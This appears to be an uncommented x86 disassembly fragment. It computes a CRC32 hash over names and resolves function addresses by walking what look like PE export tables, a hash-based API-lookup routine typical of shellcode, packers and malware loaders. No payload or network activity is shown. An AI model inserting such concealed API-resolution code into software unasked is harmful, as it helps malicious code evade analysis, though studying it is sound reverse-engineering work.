xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x5f777f
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x5f776e
xor ecx, eax
xor edx, ebx
dec edi
jne 0x5f775f
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x5f77a5
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x5f7746
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
pop ecx
pop edx
pop edi
pop ebx
pop esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x5f77d1
mov esp, ebp
pop ebp
ret 0xc